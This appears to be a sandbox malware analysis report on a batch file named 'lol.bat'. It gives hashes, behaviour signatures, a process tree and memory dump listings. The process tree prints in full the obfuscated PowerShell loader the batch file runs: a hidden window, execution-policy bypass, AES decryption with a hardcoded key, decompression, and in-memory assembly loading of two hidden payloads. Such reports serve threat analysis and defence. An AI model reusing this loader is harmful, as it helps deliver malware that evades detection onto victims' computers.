Resubmissions

09-11-2024 16:16

241109-tq8bssxgql 10

09-11-2024 16:15

241109-tqdgesxfpa 10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 16:16

General

  • Target

    lol.bat

  • Size

    279KB

  • MD5

    b5c81dca8f6b148790d14c93ba1788d4

  • SHA1

    11fa7bdf65ac8b835b27c895f3d3e357f87a28f2

  • SHA256

    7772e47f23947ab8ec3ccd03173e02e73252b906cc780681447049e12d4cb9cb

  • SHA512

    14bb171192854a481b7d26ec69e3dc7ffbe55755c3191629697298553ce919d5b1bd4719531b271304a530e5a01478bad0167f6fb66ae8d869da1f34b8713b51

  • SSDEEP

    6144:5toA7r23ZOt+yxLqRvs+wAbTXJuE/SzXm3+gK+4QpTz:4AsOkmqTPbTJuEcmut+ppTz

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\lol.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6FKXqM4AWzehcRMiEtEBJSZ307MDhrlms/qR1ZbmvDU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xXq5NOPfLug2n5zZd7UfxA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gIuVu=New-Object System.IO.MemoryStream(,$param_var); $DStlk=New-Object System.IO.MemoryStream; $aEunE=New-Object System.IO.Compression.GZipStream($gIuVu, [IO.Compression.CompressionMode]::Decompress); $aEunE.CopyTo($DStlk); $aEunE.Dispose(); $gIuVu.Dispose(); $DStlk.Dispose(); $DStlk.ToArray();}function execute_function($param_var,$param2_var){ $RzZmF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dlKfW=$RzZmF.EntryPoint; $dlKfW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\lol.bat';$fQtTT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\lol.bat').Split([Environment]::NewLine);foreach ($zlOoi in $fQtTT) { if ($zlOoi.StartsWith(':: ')) { $QSoii=$zlOoi.Substring(3); break; }}$payloads_var=[string[]]$QSoii.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:316

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/316-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

    Filesize

    4KB

  • memory/316-5-0x000000001B520000-0x000000001B802000-memory.dmp

    Filesize

    2.9MB

  • memory/316-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/316-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/316-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

    Filesize

    32KB

  • memory/316-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/316-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/316-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/316-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB